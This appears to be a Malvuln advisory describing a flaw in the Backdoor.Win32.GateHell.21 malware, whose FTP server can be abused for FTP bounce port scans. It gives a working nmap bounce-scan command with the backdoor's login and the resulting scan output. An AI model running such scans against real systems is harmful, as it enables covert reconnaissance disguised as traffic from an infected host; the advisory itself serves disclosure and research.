Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.GateHell.21
Vulnerability: Port Bounce Scan
Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Family: GateHell
Type: PE32
MD5: 5aa81ddc996be64116754efac0e4f55d
Vuln ID: MVID-2022-0560
Disclosure: 04/18/2022


Exploit/PoC:
C:\>nmap -n -Pn -b malvuln:malvuln@192.168.18.125:5301 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-18 12:46 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://malvuln:malvuln@192.168.18.125:5301
Connected:220 ICS FTP Server ready.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:46
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 12:46, 2.11s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds


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